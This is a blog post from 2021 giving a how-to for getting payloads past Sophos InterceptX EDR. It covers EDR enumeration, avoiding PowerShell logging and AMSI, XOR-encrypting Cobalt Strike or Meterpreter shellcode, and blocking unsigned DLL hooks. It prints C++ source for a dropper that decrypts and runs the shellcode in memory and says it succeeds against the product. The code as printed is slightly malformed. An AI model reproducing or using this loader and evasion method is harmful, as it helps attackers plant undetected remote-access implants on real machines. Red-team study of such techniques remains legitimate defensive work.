Friday, March 5, 2021

Bypassing EDR Primer: Sophos InterceptX



 Hello and Greetings! This is going to be my first official blog post, so I hope you find this information of value.


Over the years i've seen that many of you have the same questions as I did when it comes to building payloads that fly past EDR (Endpoint Detection and Response)  software. Keeping our code below the radar and taking some simple precautions will help us to achieve success.

Arguably the most important part of any test or engagement is the fact-gathering phase. Its critical to understand exactly what you're up against. 


A few things to consider: 

Does the customer have EDR software? or instead  < insert simple consumer-level AV here >? Identifying which product you're trying to bypass is an essential first step.

In most cases, this enumeration is done from a compromised workstation that shares a network with the EDR protected asset. there are several scripts which help you to determine what is running on the system.

a good example of this is this powershell script:

using it like this:

Invoke-EDRChecker -Remote

Next, After determining that our target is running Sophos EDR suite, we then bring our attention to actually building the payload.


What language will I be using for my dropper?

Lets' talk about different languages for a moment. 


Choosing which language to program your dropper is important, as it will determine how difficult it may be for an analyst to reverse engineer your payload. For example, using a powershell script to create our dropper and use IEX cradles to execute it in memory may be tempting, but nowadays there are security controls in place surrounding the malicious use of powershell. We know for sure that Sophos EDR will detect powershell.


1. Script-Block logging:

Powershell version 3 and above are subject to deep inspection, and even obfuscated code can be plainly viewed by an analyst. for these reasons it isalways recommended to use powershell v2 when running anything as it does not have all of the same security features as the modern version of the language.

2. AMSI:

By default, Anti-Malware-Scanning-Interface (amsi) re-directs execution of the running script to its analysis engine. This engine then compares the code to known malware signatures, and does some heuristics detection for commonly abused paths.

To Bypass AMSI you have two options: On the fly patching of AMSI.dll with a powershell script to crash the process analysing the code (as illustrated by OR bypass it in C# using Rastamouses .net bypass

    Much more information about this can be found here:

    one example is listed below:

#Matt Graebers Reflection method 




3. Constrained Language Mode

Powershell can be locked down so that only a few select things can be done with the shell, and executing scripts is disabled. this can be the case in a highly controlled environment. This may force us to use a different language and a different payload if using powershell for a dropper is a no-go.

Other Languages such as C# and IronPython offer similar .net framework access capabilities to powershell, so we can retain most of our tradecraft. IronPython is of particular interest because it also uses the .net framework, but instead of being a native windows type, it uses a 3rd party interpreter, which is exempt from security controls such as MS Applocker and others.  


Which encryption schemes, if any will we implement?

We have a gambit of a selection when it comes to choosing a cipher to work       with. One of my favorites is the easy to use XOR cipher, which I will be           demoing in this post. Other fine choices AES, Caesar cipher, or any other known cipher can be used to test the detections 



Which windows features can be abused to achieve veiled code execution?

The MS Signed binaries requirement helps our payload by only allowing MS signed binaries to interact with the process, defeating unsigned userland EDR hooks. this is done in various projects such as a Steve Borosh's gist BlockDLLs which I will link here:

This can be done in other languages following the same principles outlined in that project.

For us, we will now move on to actually building the code.

First I'll generate some shellcode: beacon.bin can be used from Cobalt Strike's raw output, MSFVenom's raw output also works for a meterpreter shell.

You can also use the donut utility that comes with security bypasses built-in for AMSI and ETW to generate PIS versions of the  target C# exe or dll, which can then be embedded into our droppers as shellcode.

Then, ill run the binary-blob through my encryption script


python2 beacon.bin > hexout.txt


So long as the shellcode is formatted properly, it should work. You may need to play with different shellcode fomat strings in your encoder to get it right for the scheme your using ( /x90 vs 0x90) hex representations.


I then open hexout.txt and copy the contents to my dropper's buffer field.

slap in the decrypt function and the Key we set in the encoder.

In this example, I use C++ to demonstrate a few of these ideas.

#include <iostream>
#include <stdio.h>
#include <windows.h>

#pragma comment(linker, "/entry:main")

#first we have our XOR cipher decode function
void XOR(char* data, size_t data_len, char* key, size_t key_len) {
int j;

j = 0;
for (int i = 0; i < data_len; i++) {
if (j == key_len - 1) j = 0;

data[i] = data[i] ^ key[j];
#Then we have our main method of our dropper
int main()
FreeConsole(); # this is used to *not* show our console window
sp.MicrosoftSignedOnly = 1;
SetProcessMitigationPolicy(ProcessSignaturePolicy, &sp, sizeof(sp));
#this is used so set the policy to only allowedMS signed binaries to hook
#our shellcode buffer:
unsigned char shellcode[] = { 0x00, 0x00 ... }
#our key
char key[] = "MyKey";
XOR((char*)shellcode, sizeof(shellcode), key, sizeof(key));
SIZE_T allocation_size = sizeof(shellcode); 
#sets up memory allocation to the size of our encrypted shellcode
DWORD ignore;
void* pShellcodeMemory = VirtualAlloc(0, allocation_size, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
memcpy(pShellcodeMemory, shellcode, allocation_size);
VirtualProtect(pShellcodeMemory, allocation_size, PAGE_EXECUTE, &ignore);
(*(void (*)()) pShellcodeMemory)();

I Chose C++ because its a compiled language instead of a scripting language like powershell. once compiled, reading the code is more difficult for an analyst to work through who doesn't have access to the source.

I use an XOR cipher to encrypt my shellcode to bypass protections that would normally detect a non-encrypted/obfuscated payload. simple ciphers make this process trivial.

When it comes to creating droppers its important to keep it simple. Usually just one function is enough to do the job. The less surface there is to search, the less the analyst will find. keeping our file-size down is important too, as large binaries are scrutinized more closely than their smaller counterparts. 

At the time of this writing, the dropper above successfully pops a Cobalt Strike Beacon on the target running Sophos InterceptX EDR, done simply by implementing a few techniques to it. 



The test lab was set up with the default out of box configuration and nothing has been done as far as extending the default to a higher security mode. 

To improve the mileage of your dropper, consider developing it in a language with fewer security controls. There are additional considerations to take a look at such as the use of Direct Syscalls to bypass EDR hooking and on-the-fly imports to clear the IAT table. More information about this can be found here: 


The Windows build used in the test is 20H2.


As defensive trade-craft continues to improve, we too must change tactics to stay ahead in this cat/mouse game.


No comments:

Post a Comment

Bypassing EDR Primer: Sophos InterceptX

     Hello and Greetings! This is going to be my first official blog post, so I hope you find this information of value.   Over the years i&...